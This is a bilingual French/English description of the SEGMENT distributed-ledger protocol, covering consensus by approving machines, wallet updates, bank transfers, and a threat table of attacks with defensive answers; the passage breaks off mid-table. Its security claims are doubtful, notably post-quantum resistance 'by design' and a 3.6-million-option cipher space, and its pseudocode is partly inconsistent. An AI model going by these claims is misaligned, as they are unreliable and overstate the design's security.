Parmi les données passées aux Approbs par le SEGmaster figure la famille (FML) de "Alice", la machine contractante.
→ les "familles" (de 00 à 99) sont des affiliations de machines : toute machine appartient nécessairement à l'une d'elle (voir "Inscription").
→ toute information concernant une machine ne peut être trouvée que dans sa propre famille.
Chaque machine approbatrice va donc commencer par interroger la famille de Alice pour récupérer les données disponibles la concernant.
Among the data passed to Approbs by the SEGmaster is the family (FML) of "Alice", the contracting machine.
→ "families" (from 00 to 99) are machine affiliations : any machine necessarily belongs to one of them (please see "Registration").
→ any information about a machine can only be found in its own family.
Each approving machine will therefore start by interviewing Alice's family to retrieve the available data about her.

Frères et Cousins

Brothers and Cousins


Interroger des milliers ou des centaines de milliers de machines est très lourd en terme de dial et de charge réseau.

Dans un premier temps, les machines approbatrices (Approbs) ne vont donc s'intéresser qu'à celle proche de Alice en POS x,y,z : ses "frères". Si suffisamment de données sont recueillies le process de collecte d'informations s'arrête là.
Sinon, si besoin, un appel aux "cousins" (membres de la famille plus éloignés dans le cube) sera lancé.

Querying thousands or hundreds of thousands of machines is very heavy in terms of dial and network load.

At first, the approving machines (Approbs) will therefore only be interested in the one close to Alice in POS x,y,z : her "brothers". If enough data is collected, the information gathering process stops there.
Otherwise, if necessary, they will call his "cousins" (family members further away in the cube).
FRERES-COUSINS BROTHERS-COUSINS

// POS +/- 10 let closeTPN = tpn(PTX.subst(0,4)+'xyz'); // POS PTX x±10 y±10 z±10 let thisTRX = closeTPN+PTX+CUB+'A2F'+Mcrypt; // Approbs to FML code + M={ wallet Alice ? } // eval results

Classement des données

Data classification

Chaque Approb tableaute les données familiales reçues concernant le wallet de Alice : montant et date.
Le tableau est ensuite réordonné selon la date (du plus récent au plus ancien) pour obtenir en KEY le solde actuel le plus probable.
Enfin une note de fiabilité de 0.01 à 0.99 est attribuée à chaque couple "solde/date" selon sa fréquence d'apparition.
Each Approb creates a table of the family data received for Alice's wallet: amount and date. This table is then rearranged by date (from most recent to oldest) to obtain in KEY the most likely current balance.
Finally, a reliability score of 0.01 to 0.99 is assigned to each "balance/date" pair according to its frequency of occurrence.

// Scores | 170 | 1550692345600 | 0.92 | | 120 | 1549507211600 | 0.48 | | 200 | 1578124869600 | 0.35 | | 120 | 1578932165400 | 0.05 |

HakJak No-Hack

Les données recueillies machine parente par machine parente (par ex contenu d'un wallet et horodatage) sont évaluées en terme de pertinence et de répétition régulière.
Si une machine falsifiée par un hacker malveillant distribue un horodatage trop récent ou un montant de wallet très au-dessus de la moyenne relevée, cette machine douteuse est signalée par les Approbs au SEGmaster qui se chargera de lancer un POI de contrôle et de décider si elle doit être réinitialisée ou pas.
The data collected machine by machine in the family (e.g. wallet content and time stamping) are evaluated in terms of relevance and regular repetition.
If a machine falsified by a malicious hacker distributes a timestamp too recent or an amount of wallet far above the average, this dubious machine is reported by the Approbs to the SEGmaster who will launch a control POI and decide whether or not to reset it.

Consensus

Blockchain "classique"

"Classical" Blockchain

1. Un miner écoute les transactions en cours jusqu'à pouvoir en former un bloc.

2. Une fois que son bloc a été proposé, tout le monde participe à un prévote pour confirmer qu'il en a pris connaissance.
Il est important de noter qu'un bloc peut être incorrect/malveillant mais toujours valide à l'étape du pré-vote puisque tout le monde essaie simplement de parvenir à un consensus sur le fait qu'il a reçu les mêmes données/bloc.

3. Une fois que plus de 2/3 des participants conviennent qu'ils ont reçu le même bloc, ils passent à l'étape de pré-engagement. Un vote préalable à l'engagement est ensuite effectué pour déterminer s'il s'agit d'un bloc valide et s'il n'a rien de frauduleux.

4. Si plus de 2/3 des participants (67%) décident par un vote que le bloc est valide et correct, il est alors écrit dans la chaîne de blocs.
1. A miner will listen to numerous transactions until it can form a block of these transactions.

2. Once a block has been proposed, everyone participates in a pre-vote to confirm that they heard the same block.
It’s important to note that a block could be incorrect/malicious but still be valid in the pre-vote stage since everyone’s simply trying to come to consensus that they received the same data/block.

3. Once more than 2/3 of the participants agree that they received the same block, they move to the pre-commit step. A pre-commit vote is then cast to determine whether this is a valid block and nothing malicious is going on.

4. If more than 2/3 of the participants (67%) vote that the block is indeed valid and correct then we can successfully commit this block to the blockchain.
CONSENSUS BLOCKCHAIN

Consensus SEGMENT

1. Chaque Approb envoie aux autres les résultats les plus pertinents pour comparaisons.

2. Chaque approb prend connaissance du choix des autres et, proposition par proposition, crée sa propre évaluation notée de de 0.01 à 0.99 qu'elle reposte aux autres.

3. Un dernier tour de confirmation fixe la valeur consensuelle du wallet d'Alice le plus récent : pour être acceptable, le résultat doit représenter plus de 80% de consensus.

4. Si le montant de la transaction est inférieur ou égal au solde wallet la transaction est acceptée, sinon elle est rejetée. Alors seulement le bloc est écrit.
1. Each Approb sends the most relevant results to the others for comparison.

2. Each approb takes note of the choice of the others and, proposal by proposal, creates its own evaluation rated from 0.01 to 0.99 which it reposted to the others.

3. A final round of confirmation sets the consensual value of the most recent Alice wallet: to be acceptable, the result must represent a consensus over 80%.

4. If the amount of the transaction is less than or equal to the wallet balance, the transaction is accepted, otherwise it is rejected. The block is written.
CONSENSUS SEGMENT

Méthode

Method

function classeDatas(){ for(i=0; i<5; i++) { // 3 tableaux : soldes, horodatages et confiance // 3 arrays : values, timestamps and confidence if(DATAS[i].length > 0) { let datas = DATAS[i].split('|'); SOLDE[i] = parseFloat(datas[0]); HOROD[i] = parseInt(datas[1]); CONFI[i] = parseFloat(datas[2]); } } trieDatas(); }
function trieDatas(){ let w = {}; let k = {}; for(i=0; i<HOROD.length; i++) { if(HOROD[i] > 0) { w[SOLDE[i]] = HOROD[i]; k[SOLDE[i]] = CONFI[i]; } } let x; if (typeof Object.keys === 'function') { x = Object.keys(w); } else { for (var key in w) { x.push(key); } } x.sort(function(a, b){ return w[a].toString().localeCompare(w[b]); }); x = x.reverse();
// x[0] est le solde le plus probable à la date x[h[0]] -> 170 | 1550692345600 // x[0] is the most likely balance at the date x[h[0]] -> 170 | 1550692345600
// Nombre de relations selon approbs -> one-to-one // Number of relationships according to approbs -> one-to-one // n*(n-1) // ––––––– //    2
if(k[x[0]] >= 0.8) { // += 80% send2All(x[0]); } else { if(k[x[1]] >= 0.8) { send2All(x[1]); } } }
// Simulation :

La simulation ci-dessus émule des retours contradictoires de la part des machines FML : data falsifiée (en rouge), machine non-actualisée, etc.
Sans vrais retours de FML elle ne tient pas compte des évaluations de pertinence.
The above simulation emulates contradictory feedback from FML machines: falsified data (red), machine not updated, etc.
Without real returns from FML it does not take into account relevance evaluations.

HakJak No-Hack

Une machine falsifiée appelée comme Approb par hasard (ça peut arriver si même POS et NUM proche de PTX) pourrait donc a priori détecter un certain nombre d'identifiants de Alice et connaître l'état de ses wallets grâce aux retours FML... et donc, en prenant d'une façon ou d'une autre le contrôle de la machine Alice un peu plus tard, se verser à lui-même l'intégralité des tokens d'Alice.
Cette opération très difficile à mettre en oeuvre pour trois raisons :
• personne ne peut savoir quand sa machine est en train de consensualiser une TRX en cours
• SEGMENT étant par nature résistant aux attaques 51% (détenir 51% des machines sur un point POS donné signifie attendre que ce point soit appelé et que le NUM PTX soit suffisamment proche pour être certain d'être Approb) il faut détenir - ou prendre le contrôle de - 80% des machines sans même avoir la certitude que cela suffise.
• et même si cela arrivait, le langage anamorphique utilisé sur le PTX entre Approbs est temporaire. Il n'est utilisé que 2 ou 3 secondes et la seule certitude que l'on puisse avoir, c'est qu'il est l'un des 3.6 millions possibles. Et même si on le trouve en moins de 2 secondes, les échanges eux-mêmes étant codés (les machines ne parlent aucune langue humaine) il resterait encore à comprendre ce qui se dit.
A machine falsified called by chance as Approb (it can happen if same POS and NUM close to PTX) could therefore a priori detect a certain number of Alice's identifiers and know the state of its wallets through FML returns... and therefore, by taking control of the Alice machine a little later, pay itself all Alice's tokens.
This operation is very difficult to implement for three reasons:
• no one can know when his machine is consensualizing a TRX in progress
• SEGMENT being by nature resistant to attacks 51% (owning 51% of the machines at a given POS point means waiting for that point to be called and for the PTX NUM to be close enough to be choosed as Approb) you must own - or take control of - 80% of the machines without even having the certainty that it is enough.
• and even if this happens, the anamorphic language used on the PTX between Approbs is temporary. It is only used for 2 or 3 seconds and the only certainty we can have is that it is one of the 3.6 million possible. And even if we find it in less than 2 seconds, the dials themselves being coded (the machines do not speak any human language) it would still remain to understand what is being said.

Si la transaction est acceptée, il reste aux Approbs à retrouver les valeurs de wallet de Bob.
SEGmaster leur a transmis sa famille FML en même temps que celle de Alice ; les Approbs n'ont plus qu'à opérer le même travail de tri et d'évaluation puis à calculer le résultat de la transaction. Quand toutes sont d'accord, on passe aux actualisations.
If the transaction is accepted, the Approbs still has to find Bob's wallet values.
SEGmaster passed on its FML family to them at the same time as Alice's FML; the Approbs only have to do the same sorting and evaluation work, then calculate the result of the transaction. When everyone agrees, we move on to updates.

I. PROTOCOLE
Actualisation

I. PROTOCOL
Actualization

Contrairement aux blockchains "classiques" qui sont constituées de blocs ajoutés séquentiellement les uns aux autres, chacun héritant de caractéristiques du précédent pour s'assurer de sa fiablité, dans SEGMENT les blocs sont éditables. La confiance n'est pas dans l'historicisation des blocs [ → Arbre de Merkle ] mais dans les décisions algorithmiques prises collectivement par le réseau 100% horizontalisé de toutes les machines.
Une chaîne de blocs éditables PLUS le sharding (découpe de longueur constante) permet à chaque machine de détenir une série de données de longueur constante selon ses capacités de traitement et de mémoire. Chaque machine de SEGMENT est donc un full-node, un acteur complet à part entière. Il n'y a dans SEGMENT ni miners ni décision humaine, ni incitation financière à produire un résultat : les machines n'ont aucun sens de leur intérêt et donc aucune envie ni aucun besoin de tricher.
Une fois la décision prise d'accepter la transaction "Alice verse 100 à Bob" et les nouveaux soldes calculés, l'information est transmise aux machines des deux familles, la FML de Bob et celle de Alice. Les blocs décrivant le contenu et la date de leur dernière transaction respectives sont actualisés.
Unlike "classic" blockchains, which are made up of blocks added sequentially to each other, each one inheriting characteristics from the previous one to ensure its reliability, in SEGMENT the blocks can be edited. Trust is not in the historicalization of blocks [ → Merkle Tree ] but in the algorithmic decisions taken collectively by the 100% horizontalized network of all machines.
A chain of editable blocks PLUS sharding (constant length cutting) allows each machine-node to hold a series of data of constant length according to its processing and memory capacities: each SEGMENT machine is a full-node, a complete actor in its own right. There is no human decision or financial incentive to produce a result in SEGMENT: the machines have no sense of interest and therefore no desire or need to cheat.
Once the decision has been made to accept the "Alice pays 100 to Bob" transaction and the new balances calculated, the information is transmitted to the machines in both families, Bob's FML and Alice's FML. The blocks describing the content and date of their respective last transaction are updated.

Tokens

Pour rappel, il existe dans SEGMENT autant de type de tokens qu'on veut et autant de wallets que nécessaires : on peut ainsi stocker dans un bloc horodaté des euros, des dollars US, des Bitcoins, des kWh, des valeurs en pourcentage, un hash de document placé sur IPFS ou des informations de connexion.

Le bloc ApûoUeyÎ8KIöwcm6âÊSJù_xdn7äËT!ë pourrait aussi bien signifier :
ALICE | timestamp | wallet Euros | 500
ROBOT | timestamp | wallet Lastconnect | Vendredi 8 mars 2019 12:45:30
CHAUF | timestamp | wallet Relevé | 23.3° C
DOCUM | timestamp | wallet Title | BTf5Da8Pkn06rtWkz
DRONE | timestamp | wallet PosLatLon | 48.3598723,7.7345678
Une transaction n'est donc pas nécessairement un échange économique. SEGMENT est une DDLT : une base de données dynamique distribuée.
As a reminder, there are in SEGMENT as many type of tokens as desired and as many wallets as necessary: you can store euros, US dollars, Bitcoins, kWh, percentage values, a document's hash on IPFS or connection information in a timestamped block

The block ApûoUeyÎ8KIöwcm6âÊSJù_xdn7äËT!ë may also mean:
ALICE | timestamp | wallet $USD | 500
ROBOT | timestamp | wallet Lastconnect | Friday, March 8, 2019 12:45:30
HEAT. | timestamp | wallet Temp | 73.3° F
DOCUM | timestamp | wallet Title | BTf5Da8Pkn06rtWkz
DRONE | timestamp | wallet PosLatLon | 48.3598723,7.7345678
A transaction is therefore not necessarily an economic exchange. SEGMENT is a DDLT: a Dynamic Distributed Ledger Technology.

Mises à jour

Updates

let alice = "Epä_B68s"; // TPN Alice let bob = "Cn!4sV3ü"; // TPN Bob
let prevA = cryptMesg('A={'+[alice,x[0],x[h[0]]]+'}'); // old datas // nouvelles datas + TS commun unique (pas celui de la machine FML qui reçoit la MAJ) + crypto SEGmaster de sécurité // new data + unique common timestamp (not that of the FML machine receiving the update) + crypto SEGmaster for security let nowA = cryptMesg('A={'+[alice,walletA,Date.now(),cryptSEG]+'}'); send2FMLA(prevA,nowA); function send2FMLA(prevA,nowA){ let Acrypt = [prevA,nowA]; let thisMAJ = TPNfmlAlice+TPNapprob+CUB+'A2F'+Acrypt; // Approb to Family code // ...BLOCK.replace(prevA,nowA) }
let prevB = cryptMesg('B={'+[bob,x[n],x[h[n]]]+'}'); // old datas let nowB = cryptMesg('B={'+[bob,walletB,Date.now(),cryptSEG]+'}'); setTimeout(function() { send2FMLB(prevB,nowB); }, 200); function send2FMLB(prevB,nowB){ let Bcrypt = [prevB,nowB]; let thisMAJ = TPNfmlBob+TPNapprob+CUB+'A2F'+Bcrypt; // ...BLOCK.replace(prevB,nowB) }

Si par hasard (1 chance sur 100) Alice et Bob sont de même famille FML, le premier envoi met à jour les datas de Alice et le second celles de Bob. If by chance (1 in 100 chances) Alice and Bob are of the same FML family, the first post updates Alice's data and the second one updates Bob's.

Dans SEGMENT, immutabilité ne signifie pas que les datas sont intangibles mais qu'elles ne peuvent pas être modifiées, altérées ou détruites de façon unilatérale par une entité extérieure ou un dispositif centralisé.
In SEGMENT, immutability does not mean that data are intangible but that they cannot be modified, altered or destroyed unilaterally by an external entity or centralized protocol.

HakJak No-Hack

Comment empêcher un hacker d'envoyer une fausse information de nouveau solde recalculé pour contraindre les machines de même FML que la sienne à lui ajouter un million de dollars à son wallet ?
L'ordre de mise-à-jour doit provenir de 5 sources différentes (Approbs). Une machine FML ne mettra son bloc "Alice → Euros" à jour qu'après avoir reçu 5 instructions strictement identiques provenant de 5 machines différentes de même POS xyz. Un hacker devra donc s'assurer qu'il est capable de créer 5 machines au même point. Et que l'instruction est écrite dans le bon encodage anamorphique.
En même temps, un cryptage de la POS+NUM du SEGmaster initiateur de la transaction est passé à FML par les Approbs : cryptSEG. Les machines FML n'effectueront leurs actualisations qu'à la condition qu'une fois décrypté le résultat soit cohérent avec une POS+NUM de SEGmaster. Les POS et NUM de SEGmasters ne sont pas publiques, elles peuvent être déduites que par les Approbs appelées... qui seront donc forcément de "vraies" Approbs. #CQFD
How to prevent a malicious hacker from sending a fake recalculated balance information to force machines of the same FML as his to add a million dollars to his wallet?
The update order must come from 5 different sources (Approbs). An FML machine will only update its "Alice → $USD block" after receiving 5 strictly identical instructions from 5 different machines with the same POS xyz. A hacker will therefore have to make sure that he is able to create 5 machines at the same point and the instruction written in the correct anamorphic encoding.
At the same time, an encryption of the POS+NUM of the SEGmaster initiator of the transaction is passed to FML by the Approbs: cryptSEG. FML machines will only update if once decrypted the result is consistent with a SEGmaster POS+NUM. The POS and NUM of SEGmasters are not public, they only can be deduced by the Approbs called... which will therefore necessarily be "real" Approbs. #QED

Les Approbs sont libérées. SEGmaster termine le job. All Approbs are released. SEGmaster completes the job.

Une fois les actualisations lancées par les Approbs, SEGmaster est informé que la transaction est terminée. Il peut prévenir les autres SEGmasters qui "libèrent" alors Alice pour une nouvelle transaction. Once the updates are launched by the Approbs, SEGmaster is informed that the transaction is complete. He can notify the other SEGmasters who then "release" Alice for a new transaction.

Libération de Alice

Release of Alice

// SEGmaster fait changer le statut de Alice sur tous les autres SEGmasters // SEGmaster changes Alice's status on all other SEGmasters let from = "NÜzB!k5ç"; // TPN SEGmaster let alice = "Epä_B68s"; // TPN Alice
function okTRX(alice) { let SX = {}; SX.a = from; SX.b = alice; const S = 'S='+JSON.stringify(SX);
// cryptage du message // crypt message let Scrypt = cryptMesg(allSEGS,S); let thisOkTRX = allSEGS+from+CUB+'S2S'+Scrypt; // SEG to SEG code }

Exchanges internes

Internal Exchanges

Tous les points du cube 3D SEGMENT ne sont pas équivalents : certains contiennent des SEGmasters, d'autres sont réservés à d'autres types d'acteurs. Par exemple le point BNK. BNK signifie "Banque".
C'est un point particulier où des machines particulières sont nativement installées par paramétrage : des interfaces bancaires. Ces machines sont connectées à la fois aux autres machines du cube 3D et aux comptes clients internes. Elles permettent de transférer dans un sens des monnaies fiat (euros, francs suisses, dollars, yens...) vers leurs wallets, et dans l'autre de prélever des montants sur les wallets et les retourner dans le système bancaire traditionnel.
Les protocoles d'accès seront à définir au cas par cas, institution bancaire par institution et client par client.
Not all the points of the 3D SEGMENT cube are equivalent: some contain SEGmasters, others are reserved for other types of actors. For example, the BNK point. BNK means "Bank".
This is a particular point where particular machines are natively installed by configuration: banking interfaces. These machines are connected both to other machines in the 3D cube and to internal customer accounts. They make it possible to transfer fiat currencies (Euros, Swiss Francs, US Dollars, Yen, etc.) to their wallets in one direction, and in the other to withdraw amounts from the wallets and return them to the traditional banking system.
Access protocols will be defined on a case-by-case basis, banking institution by institution and customer by customer.



Le transfert de valeurs de compte à wallet ou de wallet à compte dans SEGMENT (en réalité de wallet privé personnel à wallet bancaire placé dans la machine BNK) est une opération techniquement simple mais présentant des risques importants.

Un protocole crypté dédié, ultra-sécurisé, exige à chaque étape confirmation de l'identité réelle de l'utilisateur (2FA) et de sa machine.


The transfer of values from bank account to wallet or from wallet to bank account in SEGMENT (in reality from private personal wallet to bank wallet placed in the BNK machine) is a technically simple operation but presents significant risks.

A dedicated, ultra-secure encrypted protocol requires at each step confirmation of the real identity of the user (2FA) and his machine.
BANK

Méthode

Method

// étape 1 : Alice veut créditer son wallet // step 1: Alice wants to credit her wallet SEGMENT.pay('Alice','Alice',100,'euros','bnk2wallet')
// étape 2 : POI machine Alice // step 2: POI Alices's machine send2Alice(hash+reduc); // SEGmaster
// étape 3 : si retour POI → SHA conforme // step 3: if return POI → SHA compliant send4Alice(2FA); // code 2FA*
// étape 4 : si retour 2FA conforme // step 4: if return 2FA compliant function call4approbs { ... } ;
// étape 5 : le même protocole est reconduit par les Approbs avant actualisation // step 5: the same protocol is renewed by the Approbs before updating

* On envoie un code 2FA à durée de vie limitée (horodaté) en SMS sur le phone de Alice, code qu'elle devra entrer manuellement pour confirmer son identité. Cette identité est un KYC construit selon les protocoles propres à chaque institution bancaire.. * A 2FA code with a limited lifetime (timestamped) is sent by SMS to Alice's phone, which she will have to enter manually to confirm her identity. This identity is a KYC built according to the protocols specific to each banking institution.

Historicisation

History

Dans SEGMENT le remplacement automatique des blocs empêche toute historicisation des transactions.
Cette fonction est toutefois disponible mais en sauvegarde extérieure (fichier) et sous forme cryptée. Son accès est strictement réservé à la machine concernée.
Contrairement aux blockchains "classiques" personne ne peut - ni ne doit - savoir quel acteur, même anonymisé, a mené quelle transaction.
In SEGMENT, the automatic replacement of blocks prevents any history of transactions
This function is however available but in external backup (file) and in encrypted form. Its access is strictly reserved to the concerned machine.
Unlike "classic" blockchains, no one can - or should - know which actor, even if anonymized, conducted which transaction.
-  15.00 €   →   Bob   01-03-2019 12:51     300.00 €  
+  3.00 €   ←   Dan   05-03-2019 02:52     303.00 €  
+  32.50 €   ←   Emma   06-03-2019 17:05     335.50 €  
-  110 €   →   Frank   11-03-2019 12:21     225.50 €  
-  8.20 €   →   Georges   14-03-2019 08:32     217.30 €  
+  12.30 €   ←   Henry   15-03-2019 11:05     229.50 €  
// contenu fichier crypté : // encrypted file content: let content = 'êSP3mZZSqSçp1SZP6ZÇ6FZPùâPF3PSÇZZmZcâ4SPFmÇZSqSyq#LtSP36ZÇ6FZPùâPPZ3SFFùm3Zc...' let table = decryptDatas(content);
// Simulation :

Le process transactionnel est maintenant terminé. La page suivante explique comment il est sécurisé. The transactional process is now complete. The following page explains how it is secure.

I. PROTOCOLE
Sécurisation

I. PROTOCOL
Security

"La résistance globale d'une chaîne est celle de son maillon le plus faible". Ce dicton pose toute la problématique de la sécurité dans SEGMENT.
La difficulté en terme de sécurité n'est pas d'obtenir un espace inviolable - cela n'existe pas - mais d'offrir à toutes les étapes du protocole un niveau de sécurité constant et équilibré : blinder une porte ne sert à rien si une fenêtre reste ouverte.
Comme tout protocole blockchain, SEGMENT offre de façon native une garantie d'indestructabilité (il est impossible de prendre le contrôle de toutes les machines et de les vider) et d'infalsifiabilité : même si une ou plusieurs machines sont "infectées" (ID falsifiée, blocs modifiés, datas corrompues...) le protocole BFT - Byzantine Fault Tolerant* - d'observation, de contrôle et d'évaluation permanente des acteurs et des données échangées garantit que le résultat final des transactions ne sera pas impacté.
"The Strength of the Chain is in the Weakest Link." This saying raises the whole issue of security in SEGMENT.
The difficulty in terms of security is not to obtain an inviolable space - it does not exist - but to offer a constant and balanced security level at all stages of the protocol: shielding a door is useless if a window remains open.
As any blockchain protocol, SEGMENT natively offers a guarantee of indestructability (it is impossible to take control of all machines and empty them) and infalsifiability : even if one or more machines are "infected" (fasified ID, modified blocks, corrupted datas....) the BFT - Byzantine Fault Tolerant* - protocol for observation, control and permanent evaluation of actors and exchanged data guarantees that the final result of transactions will not be impacted.

"Le problème des généraux byzantins est une métaphore qui traite de la remise en cause de la fiabilité des transmissions et de l'intégrité des interlocuteurs. La question est donc de savoir comment, et dans quelle mesure, il est possible de prendre en compte une information dont la source ou le canal de transmission est suspect. La solution implique l'établissement d'un algorithme (d'une stratégie) adapté.". → Wikipedia "A Byzantine fault is a condition of a computer system, particularly distributed computing systems, where components may fail and there is imperfect information on whether a component has failed.". → Wikipedia

[ in English ] → Byzantine Fault Tolerance

Cryptographie post-quantique

Post-quantum cryptography

"La cryptographie post-quantique est une branche de la cryptographie visant à garantir la sécurité de l'information face à un attaquant disposant d'un calculateur quantique.". → Wikipedia

SEGMENT peut être considéré comme Q-resistant de par la nature même de sa conception (Q-r by Design).

Sur l'image ci-contre, la partie "Lattice-based cryptography" précise :
"La sécurité est liée à la difficulté de trouver le point le plus proche d'un treillage ayant des centaines de dimensions spatiales (où le treillis est associé à la clé privée), étant donné un emplacement arbitraire dans l'espace (associé à la clé publique)."

Puis celle juste en dessous (Code-based cryptography) :
"La sécurité est basée sur la difficulté de décodage d'un code linéaire général."

SEGMENT met en oeuvre ces deux consignes,

• en organisant spatialement de façon aléatoire et arbitraire les machines dans un cube 3D virtuel de 1 million de points possibles et, en l'absence des clés publiques/privées, en dotant chaque machine de dispositifs de preuve d'identité (POI),
• en rendant impossible le décryptage des données machines et des échanges (GOSSIP) par l'utilisation combinée de plusieurs systèmes cryptographiques sur base anamorphique.
...et dans une moindre mesure la troisième (Multivariate cryptography) par ce mix de technologies de cryptage.

Il est plus que probable que l'arrivée dans les décennies qui viennent d'ordinateurs quantiques travaillant 10 millions de fois plus vite que le plus puissant des ordinateurs actuels compromette ou fragilise la sécurité des Blockchains "classiques" qui n'ont pas été conçues pour résister à une attaque quantique.
"Post-quantum cryptography (sometimes referred to as quantum-proof, quantum-safe or quantum-resistant) refers to cryptographic algorithms (usually public-key algorithms) that are thought to be secure against an attack by a quantum computer.". → Wikipedia

SEGMENT can be considered as Q-resistant due to the very nature of its design.

On the image opposite, the "Lattice-based cryptography" part specifies:
"Security is related to the difficulty of finding the nearest point in a lattice with hundreds of spatial dimensions (where te lattice is associatedwith the private key), given an arbitrary location in space (associated with the public key)."

Then the one right below (Code-based cryptography):
"Security is based on the hardness of decoding a general linear code."

SEGMENT implements these two instructions,

• by spatially randomly and arbitrarily organizing the machines into a virtual 3D cube of 1 million possible points and, in the absence of public/private keys, by providing each machine with proof of identity (POI) devices,
• by making impossible to decrypt machine data and exchanges (GOSSIP) by using several cryptographic systems in combination on an anamorphic basis.
...and to a lesser extent the third (Multivariate cryptography) by this mix of encryption technologies.

It is more than likely that the arrival in the coming decades of quantum computers working 10 million times faster than the most powerful of today's computers will compromise or weaken the security of "classic" Blockchains that were not designed to withstand a quantum attack.
SECURITY
[ in English ] → www.quantamagazine.org

Single Point Of Failure

Tout système complexe recèle (un ou) plusieurs SPOF (point particulier de défaillance) qui peuvent être critiques dans le cas où ils viennent à défaillir. Les anticiper et les traiter en pré-production est une contrainte indépassable.

Dans SEGMENT, 18 types d'attaques possibles ou SPOFs majeurs ont été définis et traités par une ou des réponses algorithmiques appropriées.

Dans le tableau ci-dessous HackJack est l'attaquant et Alice, Bob, etc sont les machines honnêtes.
Any complex system has (one or more) SPOFs (Single Point of Failure) that can be critical if they fail. Anticipating them and processing them in pre-production is an impassable constraint.

In SEGMENT, 18 major SPOFs or possible attacks were defined and processed with an appropriate algorithmic response(s).

In the table below HackJack is the attacker and Alice, Bob, etc. are the honest machines.
SinglePoinOfFailure

Attaque sur Alice

Attack on Alice

Attaque SPOFRéponse
1. HackJack tente en force brute par dictionnaire de se faire passer pour Alice en essayant de récupérer sa clé de protection Q/R • SEGmaster n'autorise qu'un seul essai de réponse POI/SHA
• sécurisation par 2FA (authentification par double facteur : confirmation par mail ou SMS) en niveau élevé de protection
2. HackJack "écoute" le clavier de Alice pour intercepter sa clé de protection Q/R (clavier Wifi par exemple) • clavier virtuel de saisie Q/R implémenté
3. HackJack peut prendre le contrôle à distance de la machine Alice et la forcer à lancer une transaction en sa faveur • il ne connaît pas sa clé Q/R et son niveau de protection 2FA
SPOF AttackAnswer
1. HackJack tries in brute force by dictionary to impersonate Alice by trying to get her Q/A protection key back • SEGmaster allows only one POI/SHA response test • security by 2FA (2 Factor Authentication: confirmation by email or SMS) in a high level of protection
2. HackJack "listen" to Alice's keyboard to intercept her Q/R protection key (Wifi keyboard for example) • virtual Q/A input keyboard implemented
3. HackJack can take remote control of the Alice machine and force it to initiate a transaction in its favor • he does not know its Q/A key and its 2FA protection level

Attaque sur GOSSIP (dial)

Attack on GOSSIP (Dial)

Attaque SPOFRéponse
4. HackJack sauvegarde les dials en cours sur sa propre machine et, à force, parvient à repérer suffisamment de constantes pour déterminer qui parle à qui et ce qui se dit • 3.6 millions de langues. Chaque type d'échange utilise une autre valeur de table en partant de 0, 1 million, 2 millions et 3 millions
• chaque POS utilise une langue différente selon les contextes (lancement de transaction, consensus Approbs, appel FML)
5. HackJack mène une attaque en force brute pour tester toutes les langues possibles par permutations de signes • une transaction dure de 3 à 4 secondes. Tester 3.6 millions de possibles dans ce laps de temps n'est pas simple
• même si ça reste possible, le résultat obtenu étant lui-même un cryptage (pas de langage humain échangé) il y a indécidabilité sur le "vrai" résultat
6. HackJack tente de poster manuellement un faux message crypté pour générer une réaction en sa faveur • protocole de contruction de messages indéterminable et accés au dial (poster) fermé
• au pire il ne se passe rien (aucune machine ne comprend), au mieux le "vrai" retour est indécidable
SPOF AttackAnswer
4. HackJack saves to the dials in progress on his own machine and can identify enough constants to determine who is talking to whom and what is being said • 3.6 million languages. Each type of exchange uses another table value starting from 0, 1 million, 2 million and 3 million
• each POS uses a different language depending on the context (transaction launch, consensus Approbs, FML call)
5. HackJack is conducting a brute force attack to test all possible languages by sign permutations • a transaction lasts 3 to 4 seconds. Testing 3.6 million possible solutions in this time frame is not simple
• even if it remains possible, the result obtained being itself an encryption (no human language exchanged) there is undecidability on the "real" result
6. HackJack tries to manually post a fake encrypted message to generate a reaction in its favour • protocol for constructing messages is undefinable and access to the dial (post) is closed
• at worst nothing happens (no machine understands), at best the "real" return is undefinable

Attaque sur ID/POI/TPN

Attack on ID/POI/TPN

Attaque SPOFRéponse
7. HackJack tente de capturer les échanges techniques au moment de la création de ses datas ID+POI • un double échange crypté empêche tout accès au script de production de données initiales : seul le résultat transite sur le réseau
• un éventuel accès direct aux fichiers de scripts retournera toujours un faux résultat
8. HackJack tente de décrypter par comparaison les IDs/POIs sur plusieurs machines qu'il détient et les modifier pour usurper une identité réelle (attaque Sybil) • l'analyse des données techniques de la machine nécessite de connaître celles de la machine-cible
9. HackJack tente de retrouver sa FML pour contraindre ses "frères/cousins" à sur-évaluer le contenu de ses wallets pour des transactions falsifiées • la mise à jour des blocs ne peut être effectuée que sur instruction de 5 machines approbatrices de même POS
SPOF AttackAnswer
7. HackJack tries to capture technical exchanges when creating its ID+POI data • an encrypted double exchange prevents any access to the script for producing initial data: only the result is transmitted over the network
• a possible direct access to scripts files always will always wrong results
8. HackJack attempts to decrypt by comparison IDs/POIs on several machines he owns and modify them to impersonate a real identity (Sybil Attack) • the analysis of the machine's technical data requires knowledge of the target machine's data
9. HackJack tries to find his FML to force his "brothers/cousins" to overvalue the content of his wallets for falsified transactions • the update of the blocks can only be carried out on the instruction of 5 approving machines on same POS

Attaque Transaction

Attack on Transaction

Attaque SPOFRéponse
10. HackJack essaie de placer 500 machines virtuelles sur un point POS xyz du Cube 3D pour que 5 d'entre elles soient appelées comme Approbs • SEGmaster choisit un PTX (point de transaction) de façon aléatoire : 1 chance sur 1 million d'être dans la POS appelée
• nécessite d'être capable de décryper l'ID, d'y retrouver les données de POS et de reconstruire le POI
11. HackJack tente une double dépense simultanée sur plusieurs machines virtuelles dotées de la même ID/POI • blocage SEGmaster sur TPN (Transaction PosNum) de la même ID
12. HackJack tente de décrypter les échanges inter-Approbs (consensus) en temps réel • crypto anamorphique à usage unique et à durée de vie inférieure à 5 secondes
• jeux d'instructions inter-Approbs par mots-clés codés (sémantique SALT) à deviner
SPOF AttackAnswer
10. HackJack tries to place 500 virtual machines on a POS xyz point of the 3D Cube so that 5 of them are called as Approbs • SEGmaster selects a PTX (transaction point) randomly: 1 in 1 million chances of being in the POS called
• requires being able to decrypt the ID, retrieve POS data and reconstruct the POI
11. HackJack attempts a simultaneous double spend on several virtual machines with the same ID/POI • SEGmaster blockage on TPN (PosNum Transaction) of the same ID
12. HackJack tries to decipher inter-Approbs (consensus) exchanges in real time • anamorphic cryptography for single use and with a lifetime of less than 5 seconds
• inter-Approbs instruction sets by coded semantic keywords (SALT) to be found

Attaque sur les blocs

Attack on Blocks

Attaque SPOFRéponse
